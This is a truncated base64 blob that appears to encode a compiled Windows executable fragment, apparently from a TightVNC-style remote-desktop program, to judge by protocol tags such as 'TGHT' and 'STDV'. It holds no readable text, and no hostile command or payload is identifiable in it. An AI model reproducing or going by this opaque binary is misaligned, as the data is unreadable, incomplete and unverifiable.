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z7AxCJhYD+//+h0PsDEImFhP7//6HY+wMQiYWQ/v//odz7AxCJhZT+//+h5PsDEImFoP7//6Ho+wMQiYWk/v//ofD7AxCJhbD+//+h9PsDEImFtP7//6H8+wMQiYXA/v//oQD8AxCJhcT+//+hCPwDEImF0P7//6EM/AMQiYXU/v//oRT8AxCJheD+//+hGPwDEImF5P7//6Eg/AMQiYXw/v//oST8AxCJhfT+//+hLPwDEImFAP///6Ew/AMQiYUE////oTj8AxCJhRD///+hPPwDEImFFP///6FE/AMQiYUg////oUj8AxCJhST///+hUPwDEImFMP///6FU/AMQiYU0////oVz8AxCJhUD///+hYPwDEImFRP///6Fo/AMQx4V4/v//AAAAAceFfP7//1NURFbHhYj+//8AAAACx4WM/v//U1REVseFmP7//wAAAATHhZz+//9TVERWx4Wo/v//AAAABceFrP7//1NURFbHhbj+//8AAAAGx4W8/v//VFJEVseFyP7//wAAAAjHhcz+//9UUkRWx4XY/v//AAAAB8eF3P7//1RHSFTHhej+//////8Ax4Xs/v//VEdIVMeF+P7//////+DHhfz+//9UR0hUx4UI////////EMeFDP///1RHSFTHhRj///////8Rx4Uc////VEdIVMeFKP///////xjHhSz///9UR0hUx4U4////////IMeFPP///1RHSFTHhUj///////8hx4VM////VEdIVImFUP///4vLoWz8AxDB+QiJhVT///+B4f8AAACLw8dF/AAOAADB4AgLyIvHZolN+IvPwfkIgeH/AAAAweAIC8iNRfhqCGaJTfqLTlRQ6MWzAACFwHQzhdt0FItOVI1FuMHjBFNQ6K2zAACFwHQbhf90IItOVI2FWP///8HnBFdQ6JKzAACFwHUJX14zwFuL5V3Di05UjYV4/v//aOAAAABQ6HGzAAD32F8bwF732FuL5V3DzMzMzFWL7IPsDItJLDPAiUX0iUX4jUX0agxQx0X8////IOidtAAA99gbwPfYi+Vdw8zMzFWL7Gr/aHixAxBkoQAAAABQZIklAAAAAIPsHFOL2bgAAQAAM8mJXey6BAAAAPfiVw+QwffZC8hR6C22AACL+IPEBIl98IX/dBuLSyRoAAEAAFfoOeX//4XAdR5X6O7RAACDxA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//UBSFwHQLiweLz/9QNIXAdVSLR1iLT1yLMIsB/1BUi09YD7fAUP9WQF9ei030ZIkNAAAAAIvlXcIEAItHXMdACAgAAACLR1zHQAwAAAAAi0dYi09cizCLAf9QVItPWA+3wFD/VgyLR1iLT1yLMIsB/1BMi09YUP+WYAEAAItPWIsB/5CkAQAAi09UacDoAwAAUOi1pgAAi09cjYUc////UItJJOiT1v//i09c8w9vAI2FNP///1CNhVj////zD3+ByAAAAFDHhTT///8QAAAA/xXMwAMQhcB0U42NWP///zP2jVEBjaQkAAAAAIoBQYTAdfkrynQ96wONSQAPvoQ1WP///1DoLs4AAI2NWP///4iENVj///+DxASNUQFGigFBhMB1+SvKO/Fy0esHxoVY////AItHaItPXIO4fAEAAAAPhF4BAACLSSSNhRz///9Q6JbV//+LT1iNlRz///9S8w9vAPMPf4V8////iwH/kNgBAADzD28IZsFFgAhmwUWCCGYPb8FmD37IZg9z2AhmD37BZg9vwWYPc9gMZg9z2QSL0SvIK9DB4QjB+giB4v8AAABmD37IM9FmD37BZomVeP///4vRK8gr0MHhCMH6CIHi/wAAADPRZsFFhAhmiZV6////jZVY////jUoBigJChMB1+SvRi8qLwsHoEIHhAAD/AAvIi8LB4BCB4gD/AAALwsHpCMHgCAvIjYV4////ahiJTYyLT1RQ6I6iAACFwA+E3P3//42NWP///41RAYoBQYTAdfkryo2FWP///1GLT1RQ6GSiAACFwA+Esv3//4tHXIN4DAAPhHQBAACLB4vP/1A4hcAPhWUBAACLR1iLT1yLMIsB/1BUi09YD7fAUP9WQF9ei030ZIkNAAAAAIvlXcIEAPMPb4CIAQAAjYVo////M/ZQ8w9/hWj///+LSSToVtX//4tHaItPXP+wnAEAAItJJOhi2P//i0doi09c/7CYAQAAi0kk6G7V//+LR2iLT1z/sLQBAACLSSToqtP//4tHaItPXP+wpAEAAItJJOhm0///i0doi09c/7CsAQAAi0kk6DLT//+LR2i5AQAAADmwpAEAAIuAsAEAAA9F8YtPXImB4AAAAItHXMeA5AAAAAAAAACLR1zHQGAAAAAAi0dcx0BkAAAAAItHXMdAaAAAAACF9nQhi0dog7ioAQAAAH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